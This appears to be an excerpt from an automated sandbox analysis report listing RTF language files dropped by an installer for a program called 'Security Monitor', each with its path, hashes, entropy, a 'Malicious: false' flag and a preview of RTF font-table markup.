SHA-512:	0AA0315529CA2C5D04F4A5BF4DE4991C2F8551AA38559D5C6AAD87F363B1D806457C3F33274873CFCF661646FBE2F730A4461D6ADE66C2DB36BD13AFAD5F1849
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff31507\deff0\stshfdbch31505\stshfloch31506\stshfhich31506\stshfbi0\deflang1049\deflangfe2052\themelang1049\themelangfe2052\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}..{\f13\fbidi \fnil\fcharset134\fprq2{\\panose 02010600030101010101}SimSun{\\falt SimSun};}{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset204\fprq2{\\panose 020f0502020204030204}Calibri;}..{\f40\fbidi \fnil\fcharset134\fprq2{\\panose 02010600030101010101}@SimSun;}{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fdbmajor\f31501\fbidi \fnil\fcharset134\fprq2{\\panose 02010600030101010101}SimSun{\\falt SimSun};}{\fhimajor\f31502\fbidi \froman\fcharset204\fprq2{\*\panose 02040503050406030204}Cambria;}..{\fbimajor\f31503\fbidi

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\chinese\alarms.rtf (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	45546
Entropy (8bit):	5.037437776894658
Encrypted:	false
SSDEEP:	768:2QFDC47+HE1KEKT2njX8x3FPzX3Mmwx1DVw22vR4YaxZ8Y21kNFp6VpXGEy5Z/61:2QDnocIA9K
MD5:	04CD296601A182A19484D83613BC117B
SHA1:	3ACCD6A59B0E72F4FC2D6559D9C31A89C25383B9
SHA-256:	0ABEDA0EF9D4D06BC44EDFF51C9A289DBA0F58A672731F0F8A1B09AFCFD7C9B7
SHA-512:	12241D241CB7FE1A79009E1B4BEB7E9051A5523A3A4182BC19E52EAA3FED4D334822D4DD2E8F2DC3EA56AD32E121C7D69D0C7EB1D1495C5132DC460B5002D0E2
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff31507\deff0\stshfdbch31505\stshfloch31506\stshfhich31506\stshfbi0\deflang1049\deflangfe2052\themelang1049\themelangfe2052\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}..{\f13\fbidi \fnil\fcharset134\fprq2{\\panose 02010600030101010101}SimSun{\\falt SimSun};}{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset204\fprq2{\\panose 020f0502020204030204}Calibri;}..{\f40\fbidi \fnil\fcharset134\fprq2{\\panose 02010600030101010101}@SimSun;}{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fdbmajor\f31501\fbidi \fnil\fcharset134\fprq2{\\panose 02010600030101010101}SimSun{\\falt SimSun};}{\fhimajor\f31502\fbidi \froman\fcharset204\fprq2{\*\panose 02040503050406030204}Cambria;}..{\fbimajor\f31503\fbidi

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\chinese\clipboard.rtf (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	39768
Entropy (8bit):	5.028438731643848
Encrypted:	false
SSDEEP:	768:2zFUZ47+E29oy2lV9GEij/R0qrsT+118lsqZ/6A9B:2zdTIA9B
MD5:	A8C9AB020E61A95F3CBA163ABBF94E88
SHA1:	041D13002452D2AC0CBE8A2CC4D646B284F1B9C6
SHA-256:	2473E996CFF9D4ACA06608370BF1B5C0ACE937E4F8A1C699AAF2A5F87318D40F
SHA-512:	13FB3383203232496A3551F2D6A39F210432C5DAB33A4101564416A0069E72F86F85C000EB8ABA4C2D8E66FB7B6165A34CD60DA0A8DFA0A48165F358B2E01269
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff31507\deff0\stshfdbch31505\stshfloch31506\stshfhich31506\stshfbi0\deflang1049\deflangfe1049\themelang1049\themelangfe2052\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}..{\f13\fbidi \fnil\fcharset134\fprq2{\\panose 02010600030101010101}SimSun{\\falt SimSun};}{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset204\fprq2{\\panose 020f0502020204030204}Calibri;}..{\f39\fbidi \fnil\fcharset134\fprq2{\\panose 00000000000000000000}@SimSun;}{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fdbmajor\f31501\fbidi \fnil\fcharset134\fprq2{\\panose 02010600030101010101}SimSun{\\falt SimSun};}{\fhimajor\f31502\fbidi \froman\fcharset204\fprq2{\*\panose 02040503050406030204}Cambria;}..{\fbimajor\f31503\fbidi

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\chinese\delivery.rtf (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	98587
Entropy (8bit):	4.9835874653673855
Encrypted:	false
SSDEEP:	768:2zFbmxZM+tWe275kQOSAGc1Q33Tn4eMJ/fOcPI0QhhiLVpLCrLXI1nuT2njX8x3E:2zyeUnNIwuF+bDIA9n
MD5:	B729EF1A2C1EDAB184EE72D97CCF04FA
SHA1:	0B1E8F6E750120989728E8787722DB1E6C8AECA4
SHA-256:	FF86B07534B3BA1FB795BB36C8A7E02DDCA3F591A3EB242AA9F35773BE52AA1B
SHA-512:	8F4819A8CACAE7A93CF4BA2F42EABD64A6409B42F7D41B2363A6454591B7BF6C181E8F45F4359BACE952915008CDAD0EC59E8725E784657F3DEE795A19658EA3
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff31507\deff0\stshfdbch31505\stshfloch31506\stshfhich31506\stshfbi0\deflang1049\deflangfe1049\themelang1049\themelangfe2052\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}..{\f13\fbidi \fnil\fcharset134\fprq2{\\panose 02010600030101010101}SimSun{\\falt SimSun};}{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset204\fprq2{\\panose 020f0502020204030204}Calibri;}..{\f39\fbidi \fnil\fcharset134\fprq2{\\panose 02010600030101010101}@SimSun;}{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fdbmajor\f31501\fbidi \fnil\fcharset134\fprq2{\\panose 02010600030101010101}SimSun{\\falt SimSun};}{\fhimajor\f31502\fbidi \froman\fcharset204\fprq2{\*\panose 02040503050406030204}Cambria;}..{\fbimajor\f31503\fbidi

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\chinese\is-0BOKU.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	48087
Entropy (8bit):	5.042429118311867
Encrypted:	false
SSDEEP:	768:2eFfzxZCCj/fB5+aWqeNgVVhGPNNlV9GEijSKcAPv6SAJjeR+RP8yJ0LTrI6JtOt:2e7dRRoIA9f
MD5:	4BF6C8774BA58F01B8916C5DDD525E82
SHA1:	F493778C8F8CBD77CC9FC11F1E628FD05C6B0F87
SHA-256:	1D3481510B1220FF2BB3EFBC4137E73A237842AEC233E289EDE6039412FC1ACA
SHA-512:	208BA94ECDB45A089AD16A665DA51C7C29267268DE83DFC4F44D8EE29805031DD79E9681E12F6D5C8CE9C8E13FAFB3CB9C5DA535712416D4941233E546A794A8
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff31507\deff0\stshfdbch31505\stshfloch31506\stshfhich31506\stshfbi0\deflang1049\deflangfe2052\themelang1049\themelangfe2052\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}..{\f2\fbidi \fmodern\fcharset204\fprq1{\\panose 02070309020205020404}Courier New;}{\f3\fbidi \froman\fcharset2\fprq2{\\panose 05050102010706020507}Symbol;}{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings;}..{\f13\fbidi \fnil\fcharset134\fprq2{\\panose 02010600030101010101}SimSun{\\falt SimSun};}{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset204\fprq2{\\panose 020f0502020204030204}Calibri;}..{\f38\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604030504040204}Tahoma;}{\f40\fbidi \fnil\fcharset134\fprq2{\*\panose 02010600030101010101}@SimSun;}{\flomaj

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\chinese\is-0SQMV.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	50366
Entropy (8bit):	5.042918546603945
Encrypted:	false
SSDEEP:	768:2eFMz47wCEnkVlYgiDGi3w2EHnT2njX8x37HzX3MmwxEJBMmfX8+VUf8SP8VrZJ6:2ebHcIA9/
MD5:	479AE0F93EE93B62EDED9259EFD3D417
SHA1:	ADFC98043F7B02403F496028274A9849DADE9415
SHA-256:	AE39FDC0D0299C5CC2AE703E1F39CE87FB6317DFEFA3DD3957CC3C7BFC94233D
SHA-512:	914EB7570D95563A23BCF6CFC354297C7A9ECE8F48AC1E6F872B7CCAB00B9977271A7148444E8DD119EC6BD7C4A4DB4830EC7EEBDE89FDE72E6A20B3E5DA2E91
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff31507\deff0\stshfdbch31505\stshfloch31506\stshfhich31506\stshfbi0\deflang1049\deflangfe2052\themelang1049\themelangfe2052\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}..{\f2\fbidi \fmodern\fcharset204\fprq1{\\panose 02070309020205020404}Courier New;}{\f3\fbidi \froman\fcharset2\fprq2{\\panose 05050102010706020507}Symbol;}{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings;}..{\f13\fbidi \fnil\fcharset134\fprq2{\\panose 02010600030101010101}SimSun{\\falt SimSun};}{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset204\fprq2{\\panose 020f0502020204030204}Calibri;}..{\f39\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial CYR;}{\f41\fbidi \fnil\fcharset134\fprq2{\*\panose 02010600030101010101}@SimSun;}{\flo

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\chinese\is-3DBI9.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	54667
Entropy (8bit):	5.033087064941872
Encrypted:	false
SSDEEP:	768:2QFDpxZMjE/d8NwyHF2njX8x3l7G5V5V5h5G5P5N5gkBJ5qA23YtFZSEHtoGCzU/:2Q9svIA9h
MD5:	51AF8BBE0EB54E295570F088C17CBBA4
SHA1:	E8CD73723EB618FA3F9A26B7F56EAA0C9397F0C9
SHA-256:	E9E9F0B183F57BEA6BF02B6BDCBAB45B8BACDFF889CD4E6882E62C3E3F8CC4C8
SHA-512:	582D0EB523E3AA4F152A858DD15C10F5379BA981EAAC75A5B427BCE8287634AF3D14D8AC045754B5FE3BEC9CAC317EC324D72EC2519C11FAE2A9FE3D60FD1F15
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff31507\deff0\stshfdbch31505\stshfloch31506\stshfhich31506\stshfbi0\deflang1049\deflangfe2052\themelang1049\themelangfe2052\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}..{\f13\fbidi \fnil\fcharset134\fprq2{\\panose 02010600030101010101}SimSun{\\falt SimSun};}{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset204\fprq2{\\panose 020f0502020204030204}Calibri;}..{\f40\fbidi \fnil\fcharset134\fprq2{\\panose 02010600030101010101}@SimSun;}{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fdbmajor\f31501\fbidi \fnil\fcharset134\fprq2{\\panose 02010600030101010101}SimSun{\\falt SimSun};}{\fhimajor\f31502\fbidi \froman\fcharset204\fprq2{\*\panose 02040503050406030204}Cambria;}..{\fbimajor\f31503\fbidi

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\chinese\is-4RJAB.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	78843
Entropy (8bit):	4.977552271527579
Encrypted:	false
SSDEEP:	768:2FFfTw1wko5DlJXCrfTYlD2oC+zKjkMpAkVZEdvI9vTwliBKMkZKU4B3dHlbZBG4:2FuLTwlsdfmIA9U
MD5:	410CC0145DFADC0855A7081EC0808E79
SHA1:	4DB58BD6606D3266E9C3775CE5B41333DE38EC03
SHA-256:	D9C2247313A637FB992DCC176C9D96A06A891EA76F78E373FF038532FCC5EEBF
SHA-512:	B7B85D67CE8756DB341CD324592308AD6662D853E0CC08B3A64B09FB9D40D21B945EF1F4EEA8DF7DA92F281BED4B92930F81A0EDBEB7498CE03056AC0DF370CE
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff31507\deff0\stshfdbch31505\stshfloch31506\stshfhich31506\stshfbi0\deflang1049\deflangfe1049\themelang1049\themelangfe2052\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}..{\f2\fbidi \fmodern\fcharset204\fprq1{\\panose 02070309020205020404}Courier New;}{\f3\fbidi \froman\fcharset2\fprq2{\\panose 05050102010706020507}Symbol;}{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings;}..{\f13\fbidi \fnil\fcharset134\fprq2{\\panose 02010600030101010101}SimSun{\\falt SimSun};}{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset204\fprq2{\\panose 020f0502020204030204}Calibri;}..{\f38\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604030504040204}Tahoma;}{\f39\fbidi \fnil\fcharset134\fprq2{\*\panose 02010600030101010101}@SimSun;}{\flomaj

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\chinese\is-6Q94L.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	66281
Entropy (8bit):	5.021285329842295
Encrypted:	false
SSDEEP:	768:2QFDJw1w0kWBP+WLZdfzbwKsFPcZR1yc+rZE7feMShR/pVRVGcefxRBcnjX8x3JO:2Q4Bb6IA9Z
MD5:	B9DE79AB06478D9A6CDFB82A7578E374
SHA1:	E103E4E779C53988209B3F0F752754162A5F638B
SHA-256:	7BCF98FA23001662B53624E64A48F45581CC6A5B70D53204203184A94581041B
SHA-512:	98F38D4D6CE05FA571C3AD3EE7C8751777F2A6EFB95C619DCD55F3F873AEC2842A578CE4CC654F2AA56E015D3D29955B8C49FE38CC3CBFD1B9D9910E9C7D9EED
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff31507\deff0\stshfdbch31505\stshfloch31506\stshfhich31506\stshfbi0\deflang1049\deflangfe2052\themelang1049\themelangfe2052\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}..{\f13\fbidi \fnil\fcharset134\fprq2{\\panose 02010600030101010101}SimSun{\\falt SimSun};}{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset204\fprq2{\\panose 020f0502020204030204}Calibri;}..{\f40\fbidi \fnil\fcharset134\fprq2{\\panose 02010600030101010101}@SimSun;}{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fdbmajor\f31501\fbidi \fnil\fcharset134\fprq2{\\panose 02010600030101010101}SimSun{\\falt SimSun};}{\fhimajor\f31502\fbidi \froman\fcharset204\fprq2{\*\panose 02040503050406030204}Cambria;}..{\fbimajor\f31503\fbidi

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\chinese\is-95QQQ.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	45546
Entropy (8bit):	5.037437776894658
Encrypted:	false
SSDEEP:	768:2QFDC47+HE1KEKT2njX8x3FPzX3Mmwx1DVw22vR4YaxZ8Y21kNFp6VpXGEy5Z/61:2QDnocIA9K
MD5:	04CD296601A182A19484D83613BC117B
SHA1:	3ACCD6A59B0E72F4FC2D6559D9C31A89C25383B9
SHA-256:	0ABEDA0EF9D4D06BC44EDFF51C9A289DBA0F58A672731F0F8A1B09AFCFD7C9B7
SHA-512:	12241D241CB7FE1A79009E1B4BEB7E9051A5523A3A4182BC19E52EAA3FED4D334822D4DD2E8F2DC3EA56AD32E121C7D69D0C7EB1D1495C5132DC460B5002D0E2
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff31507\deff0\stshfdbch31505\stshfloch31506\stshfhich31506\stshfbi0\deflang1049\deflangfe2052\themelang1049\themelangfe2052\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}..{\f13\fbidi \fnil\fcharset134\fprq2{\\panose 02010600030101010101}SimSun{\\falt SimSun};}{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset204\fprq2{\\panose 020f0502020204030204}Calibri;}..{\f40\fbidi \fnil\fcharset134\fprq2{\\panose 02010600030101010101}@SimSun;}{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fdbmajor\f31501\fbidi \fnil\fcharset134\fprq2{\\panose 02010600030101010101}SimSun{\\falt SimSun};}{\fhimajor\f31502\fbidi \froman\fcharset204\fprq2{\*\panose 02040503050406030204}Cambria;}..{\fbimajor\f31503\fbidi

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\chinese\is-A4C13.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	59955
Entropy (8bit):	4.987423779028573
Encrypted:	false
SSDEEP:	768:2FFbLxZjkouUyWXCrfTYlD2oC+zKjkMpAkVZEdvI9DFxg1946VKOFeOkOecLd6Pa:2FLIFxgCSIA9TkWIy
MD5:	E0ED1922B52E062A733812CDC97F78ED
SHA1:	FFE7CBE2173ABEC59FDD66949DF05FAE07310FBC
SHA-256:	436533A19E5DB84BAFC7FC2A0DBECE56577648EF416D5A54C2D3A9D46289B9BB
SHA-512:	95DF26BFFC5FD4B77773C460BDB438ACC4E1A3146E502C8D7FBECE9D29A842513E6C44DBFCB04BDB9682802CBE8BA6E49723C996A550EEB864392B71D184AE0B
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff31507\deff0\stshfdbch31505\stshfloch31506\stshfhich31506\stshfbi0\deflang1049\deflangfe1049\themelang1049\themelangfe2052\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}..{\f2\fbidi \fmodern\fcharset204\fprq1{\\panose 02070309020205020404}Courier New;}{\f3\fbidi \froman\fcharset2\fprq2{\\panose 05050102010706020507}Symbol;}{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings;}..{\f13\fbidi \fnil\fcharset134\fprq2{\\panose 02010600030101010101}SimSun{\\falt SimSun};}{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset204\fprq2{\\panose 020f0502020204030204}Calibri;}..{\f39\fbidi \fnil\fcharset134\fprq2{\\panose 02010600030101010101}@SimSun;}{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\*\panose 02020603050405020304}Time

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\chinese\is-AAUJ9.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	53408
Entropy (8bit):	5.027531716371282
Encrypted:	false
SSDEEP:	768:2QFDC47+EvnaBT2njX8x33HcSAzpdhN0XmQ6ZdgvSSIAPZIAP6IAe+XUNRXp76PC:2QDXJksIA9U
MD5:	3BA78ADB6E868B5B64CA3AFD406569D8
SHA1:	3E8031CC5453C731A67604B495AEC251CAA93843
SHA-256:	C4EAC5BC2B6C11C7ED8741FF1ACCCAB71230E01EDD80403655EE54254673DA83
SHA-512:	28F58E5595C7DA45F3361C18B12014831D49B84D0FB572D331F2CFA71B8B22B16502DCDDFF6486F7767976BA0B379CBB21F467F9843962E4EA8A1E5E889EE79C
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff31507\deff0\stshfdbch31505\stshfloch31506\stshfhich31506\stshfbi0\deflang1049\deflangfe2052\themelang1049\themelangfe2052\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}..{\f13\fbidi \fnil\fcharset134\fprq2{\\panose 02010600030101010101}SimSun{\\falt SimSun};}{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset204\fprq2{\\panose 020f0502020204030204}Calibri;}..{\f40\fbidi \fnil\fcharset134\fprq2{\\panose 02010600030101010101}@SimSun;}{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fdbmajor\f31501\fbidi \fnil\fcharset134\fprq2{\\panose 02010600030101010101}SimSun{\\falt SimSun};}{\fhimajor\f31502\fbidi \froman\fcharset204\fprq2{\*\panose 02040503050406030204}Cambria;}..{\fbimajor\f31503\fbidi

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\chinese\is-AOHKI.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	52052
Entropy (8bit):	5.0423517848490995
Encrypted:	false
SSDEEP:	768:2eFD747+kxKTllT2njX8x3xezX3MmwxXoC+zKjkMpEZI6xAzj54vWHmI9ikzmind:2ee2XMIA9o
MD5:	86DF8DBFBB9E6B68A8255BF9B36A9A79
SHA1:	49BBA097A2FA7B3AA66E58F2ECCB244444C96AD3
SHA-256:	232B3BC657DA966541951F2BCAD65B0394BA11608B61F60732E9049B70D8C46D
SHA-512:	BE429F10D254B65E0DEBA90598DEF9ABACD7C641FDF418B7FA272DED99ABA0A3C6E91CF002CEFDB43D95F54466CD0631326788D6E59628ED0A7922422E530F5A
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff31507\deff0\stshfdbch31505\stshfloch31506\stshfhich31506\stshfbi0\deflang1049\deflangfe2052\themelang1049\themelangfe2052\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}..{\f2\fbidi \fmodern\fcharset204\fprq1{\\panose 02070309020205020404}Courier New;}{\f3\fbidi \froman\fcharset2\fprq2{\\panose 05050102010706020507}Symbol;}{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings;}..{\f13\fbidi \fnil\fcharset134\fprq2{\\panose 02010600030101010101}SimSun{\\falt SimSun};}{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset204\fprq2{\\panose 020f0502020204030204}Calibri;}..{\f40\fbidi \fnil\fcharset134\fprq2{\\panose 02010600030101010101}@SimSun;}{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\*\panose 02020603050405020304}Time

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\chinese\is-ENNH9.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	48219
Entropy (8bit):	5.043881411943709
Encrypted:	false
SSDEEP:	768:2eFfzxZCsxIa4IRVIvOM/rvg20xLjIddpuXVfs+zKjkMpTFFJ+kH3q+1yMPhU32n:2e7uFdIA9V
MD5:	8C8176E8F2409E52F66BA8228B6EEEF4
SHA1:	ED1F5902631C6273022B8C1C6582BD15FA76107F
SHA-256:	FFE2EACEDE61AFC4BEF5370CF51CF41430F2660FEF291087150EF773793F5448
SHA-512:	3210FB8DDB601E1CC322213CFAD6F6A463D882CCD2BA21A4ED19414FC074FA3AD597AAEA75F6B14D857EBE7FB54B5B0594F2661EDC7BAEC0BB26C746C841283D
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff31507\deff0\stshfdbch31505\stshfloch31506\stshfhich31506\stshfbi0\deflang1049\deflangfe2052\themelang1049\themelangfe2052\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}..{\f2\fbidi \fmodern\fcharset204\fprq1{\\panose 02070309020205020404}Courier New;}{\f3\fbidi \froman\fcharset2\fprq2{\\panose 05050102010706020507}Symbol;}{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings;}..{\f13\fbidi \fnil\fcharset134\fprq2{\\panose 02010600030101010101}SimSun{\\falt SimSun};}{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset204\fprq2{\\panose 020f0502020204030204}Calibri;}..{\f38\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604030504040204}Tahoma;}{\f40\fbidi \fnil\fcharset134\fprq2{\*\panose 02010600030101010101}@SimSun;}{\flomaj

